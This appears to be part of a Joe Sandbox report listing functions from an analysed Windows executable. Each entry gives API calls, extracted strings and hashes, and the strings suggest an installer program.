Function 0041B508 Relevance: 9.1, APIs: 6, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B57E
GetDC.USER32(?), ref: 0041B58A
GetDeviceCaps.GDI32(?,00000068), ref: 0041B5A6
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5C3
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5DA
ReleaseDC.USER32(?,?), ref: 0041B626

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: EntriesPaletteSystem$CapsDeviceFocusRelease
String ID:
API String ID: 2502006586-0
Opcode ID: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
Instruction ID: 1753bd22f5710d4f749a3cf2d8329d0f84e6490acb09e3fae29671003709e3a5
Opcode Fuzzy Hash: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
Instruction Fuzzy Hash: D0410631A04258AFDF10DFA9C885AAFBBB4EF59704F1484AAF500EB351D3389D51CBA5

Function 0045D04C Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057,00000000,0045D118,?,?,?,?,00000000), ref: 0045D0B7
SetLastError.KERNEL32(00000000,00000002,?,?,?,0045D184,?,00000000,0045D118,?,?,?,?,00000000), ref: 0045D0F6

Strings

USERS, xrefs: 0045D0A9
MACHINE, xrefs: 0045D09A
CURRENT_USER, xrefs: 0045D08B
CLASSES_ROOT, xrefs: 0045D07C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
API String ID: 1452528299-1580325520
Opcode ID: 44daac30ba6290961f85a10f910adeebe56024b8db7d764ffa7b36a0de599fb3
Instruction ID: 81e1e27ad3ae8d1ea1d6b81b4c13ff0be47bc54c17845d393ef4ad8e2f10c1e8
Opcode Fuzzy Hash: 44daac30ba6290961f85a10f910adeebe56024b8db7d764ffa7b36a0de599fb3
Instruction Fuzzy Hash: 2C117535A04608AFD731DA91C942B9EB6ADDF4470AF6040776D00572C3D67C5F0B992E

Function 0041BD8C Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BDD5
GetSystemMetrics.USER32(0000000C), ref: 0041BDDF
GetDC.USER32(00000000), ref: 0041BDE9
GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041BE10
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041BE1D
ReleaseDC.USER32(00000000,00000000), ref: 0041BE56

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CapsDeviceMetricsSystem$Release
String ID:
API String ID: 447804332-0
Opcode ID: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
Instruction ID: d5b995c8e3894394b735eabd433659eae54025482fea58e306a85006fdca5b97
Opcode Fuzzy Hash: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
Instruction Fuzzy Hash: E5212A74E04648AFEB00EFA9C941BEEB7B4EB48714F10846AF514B7690D7785940CB69

Function 00401A90 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,00401B68), ref: 00401ABD
LocalFree.KERNEL32(0084E4E0,00000000,00401B68), ref: 00401ACF
VirtualFree.KERNEL32(?,00000000,00008000,0084E4E0,00000000,00401B68), ref: 00401AEE
LocalFree.KERNEL32(0084F4E0,?,00000000,00008000,0084E4E0,00000000,00401B68), ref: 00401B2D
RtlLeaveCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B58
RtlDeleteCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B62

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
Instruction ID: 79795942c165c44483fb09e1962e32eaca51f8de38df00e9c029d8aa05623ce8
Opcode Fuzzy Hash: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
Instruction Fuzzy Hash: 3B118E30A003405AEB15AB65BE85B263BA5D761B08F44407BF80067BF3D77C5850E7AE

Function 0047E8AC Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EC), ref: 0047E8BA
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,0046CDA1), ref: 0047E8E0
GetWindowLongA.USER32(?,000000EC), ref: 0047E8F0
SetWindowLongA.USER32(?,000000EC,00000000), ref: 0047E911
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 0047E925
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 0047E941

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 77e6a2adad21d98839384031fe55f8444971447d2e808788bc8698eaef74262f
Instruction ID: a2b7b733205f1e44b1ee07f0e12066402cabc9af87ff61d57cc470ab2f400ee5
Opcode Fuzzy Hash: 77e6a2adad21d98839384031fe55f8444971447d2e808788bc8698eaef74262f
Instruction Fuzzy Hash: DF012DF2641210ABE610D769DE85F2237D8AB0D360F0906A6B644DF2E3C738E8408A49

Function 0041B270 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0041A6E0: CreateBrushIndirect.GDI32 ref: 0041A74B

UnrealizeObject.GDI32(00000000), ref: 0041B27C
SelectObject.GDI32(?,00000000), ref: 0041B28E
SetBkColor.GDI32(?,00000000), ref: 0041B2B1
SetBkMode.GDI32(?,00000002), ref: 0041B2BC
SetBkColor.GDI32(?,00000000), ref: 0041B2D7
SetBkMode.GDI32(?,00000001), ref: 0041B2E2

Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
Instruction ID: d03b18a2b949c207061bd18b8e5d47ed8ce294e6be165222704fda36eef26a4f
Opcode Fuzzy Hash: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
Instruction Fuzzy Hash: 56F0CD756015009BDE00FFAAD9CBE4B3B989F043097048496B908DF187CA3CD8649B3A

Function 004538BC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,uoI,_iu,?,00000000,004539F6), ref: 004539AB
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,uoI,_iu,?,00000000,004539F6), ref: 004539BB

Strings

.tmp, xrefs: 0045395F
uoI, xrefs: 004538EC, 004538F7, 00453952, 0045395C, 0045392C, 00453936
_iu, xrefs: 0045394D

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu$uoI
API String ID: 3498533004-921926588
Opcode ID: 1dee75e2bfc2da78c26475f080e8b0a4db6a1a73d39b0bf1d20dabbe4352c150
Instruction ID: 7da7e9bbb2667b7856572ae533a3071efe8e017fb0344d9459fa270775feb22d
Opcode Fuzzy Hash: 1dee75e2bfc2da78c26475f080e8b0a4db6a1a73d39b0bf1d20dabbe4352c150
Instruction Fuzzy Hash: 1831C5B0A00249ABCB11EF95D842B9EBBB4AF44345F20453AF810B73C2D7785F058B69

Function 00497EB0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

ShowWindow.USER32(?,00000005,00000000,00498115,?,?,00000000), ref: 00497EE6

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Part of subcall function 004072A8: SetCurrentDirectoryA.KERNEL32(00000000,?,00497F0E,00000000,004980E1,?,?,00000005,00000000,00498115,?,?,00000000), ref: 004072B3

Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481

Strings

.msg, xrefs: 00497F4C
Uninstall, xrefs: 00497ECC
.dat, xrefs: 00497F2D
IMsg, xrefs: 00497FBA

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: 1c11d0ae27487594f38b9cd21c2d985737f1e6e162c6aba1f214a076d538747b
Instruction ID: 4af9ec424ffd7bb028b399940d064470676df1dbf9fc20c07eaa3e8db441866f
Opcode Fuzzy Hash: 1c11d0ae27487594f38b9cd21c2d985737f1e6e162c6aba1f214a076d538747b
Instruction Fuzzy Hash: 0A313034A00114AFCB00EF65DD9295E7BB5EF45318B51857AF400A7396DB38BD058B68

Function 0042EAA8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonCreate), ref: 0042EADA
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EAE0
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,user32.dll,ShutdownBlockReasonCreate), ref: 0042EB09

Strings

ShutdownBlockReasonCreate, xrefs: 0042EAD0
user32.dll, xrefs: 0042EAD5

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressByteCharHandleModuleMultiProcWide
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 828529508-2866557904
Opcode ID: eb577c3347fbf9fd6a249885fcfc34f4074b2fa1c1d8d6afc25abb851ecf655c
Instruction ID: 7e091cf0cf0c4dae12ae48626bdfb721f4796128e550bb25d34418d77cfbcdd5
Opcode Fuzzy Hash: eb577c3347fbf9fd6a249885fcfc34f4074b2fa1c1d8d6afc25abb851ecf655c
Instruction Fuzzy Hash: 70F0C8D034061136E620B57F5C82F7B598C8F94759F140436B109E62C2D96CA905426E

Function 00457FF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00458028
GetExitCodeProcess.KERNEL32(?,?), ref: 00458049
CloseHandle.KERNEL32(?,0045807C), ref: 0045806F

Strings

MsgWaitForMultipleObjects, xrefs: 00458035
GetExitCodeProcess, xrefs: 00458052

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: f4b7924840392a1c056809c60f673386a353f05297e24ea8de8fb179b7d06f04
Instruction ID: 2f0632834368beac7d1c7250186d6a5b4d0e74160b608b18ba1b2b0c741dc3d5
Opcode Fuzzy Hash: f4b7924840392a1c056809c60f673386a353f05297e24ea8de8fb179b7d06f04
Instruction Fuzzy Hash: 8101A231600204AFD710EBA98C02A5A73A8EB49B25F51407BFC10E73D3DE399E08965D

Function 0042E9AC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9

Strings

user32.dll, xrefs: 0042E9BD
ChangeWindowMessageFilter, xrefs: 0042E9B8

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 3478007392-2498399450
Opcode ID: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
Instruction ID: c922fa4e85abb1c6873f36dcd01b6443d81c66d6c3501223796626af46e79b09
Opcode Fuzzy Hash: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
Instruction Fuzzy Hash: 5CE0ECB2740324EADA103B627E8AF663558E724B19F50043BF001751F1C7FD1C80CA9E

Function 00477CE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 00477CF0
GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00477DE7,0049C0A8,00000000), ref: 00477D03
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00477D09

Strings

user32.dll, xrefs: 00477CFE
AllowSetForegroundWindow, xrefs: 00477CF9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProcProcessThreadWindow
String ID: AllowSetForegroundWindow$user32.dll
API String ID: 1782028327-3855017861
Opcode ID: f9be9efaead6c2fbd8908541d11dbdf556349f0c700595575b991620a4140b68
Instruction ID: f0440eada8c732a727bde105613721c80d17da46f8d6a443c7132e17ed4762d5
Opcode Fuzzy Hash: f9be9efaead6c2fbd8908541d11dbdf556349f0c700595575b991620a4140b68
Instruction Fuzzy Hash: 4BD09E90248702A9D920B2F54D46EBF225C8D947647A1883B7448E218ADA7CDC008A79

Function 00416C2C Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 00416C52
SaveDC.GDI32(?), ref: 00416C83
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416D45), ref: 00416CE4
RestoreDC.GDI32(?,?), ref: 00416D0B
EndPaint.USER32(00000000,?,00416D4C,00000000,00416D45), ref: 00416D3F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
Instruction ID: 8164e3b37c2b38cc39b91ef4074089abf19b8963c3e0e5cbd12a4ce3d65b1abe
Opcode Fuzzy Hash: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
Instruction Fuzzy Hash: A1415070A002049FCB14DBA9C585FAA77F9FF48304F1540AEE8459B362D778DD81CB58

Function 00414800 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 00414836
MulDiv.KERNEL32(?,?,?), ref: 00414850
MulDiv.KERNEL32(?,?,?), ref: 00414879
MulDiv.KERNEL32(?,?,?), ref: 004148A4
MulDiv.KERNEL32(00000000,?,00000000), ref: 004148EC

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
Instruction ID: a833d86c80f2fb81cba799e3b93fc1891ddf3ebdd98a67124a25423b7ab76754
Opcode Fuzzy Hash: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
Instruction Fuzzy Hash: 563132746057809FC320EF69C984B9BB7E8AF89354F04491EF9D5C3752C638E8818F19

Function 004297CC Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429808
SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429837
SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 00429853
SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 0042987E
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 0042989C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
Instruction ID: 8b65b0e689063cc909dba6714575951256d1ad54ff8cece17fd29570ea6901c2
Opcode Fuzzy Hash: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
Instruction Fuzzy Hash: 6E219D707107057BEB10AB62DC82F5B7AECAB41708F54443EB501AB2D2DFB8AE418228

Function 0041BBB8 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BBCA
GetSystemMetrics.USER32(0000000C), ref: 0041BBD4
GetDC.USER32(00000000), ref: 0041BC12
CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BC59
DeleteObject.GDI32(00000000), ref: 0041BC9A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: MetricsSystem$BitmapCreateDeleteObject
String ID:
API String ID: 1095203571-0
Opcode ID: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
Instruction ID: 2a907a32995036c4e239f44386a828d3a2f1e7d44945ead90e55d18394f4d4ff
Opcode Fuzzy Hash: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
Instruction Fuzzy Hash: 5D315C70E00208EFDB04DFA5C941AAEB7F5EB48700F2084AAF514AB781D7789E40DB98

Function 0047372C Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0045D04C: SetLastError.KERNEL32(00000057,00000000,0045D118,?,?,?,?,00000000), ref: 0045D0B7

GetLastError.KERNEL32(00000000,00000000,00000000,00473800,?,?,0049C1E0,00000000), ref: 004737B9
GetLastError.KERNEL32(00000000,00000000,00000000,00473800,?,?,0049C1E0,00000000), ref: 004737CF

Strings

Setting permissions on registry key: %s\%s, xrefs: 0047377E
Could not set permissions on the registry key because it currently does not exist., xrefs: 004737C3
Failed to set permissions on registry key (%d)., xrefs: 004737E0

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
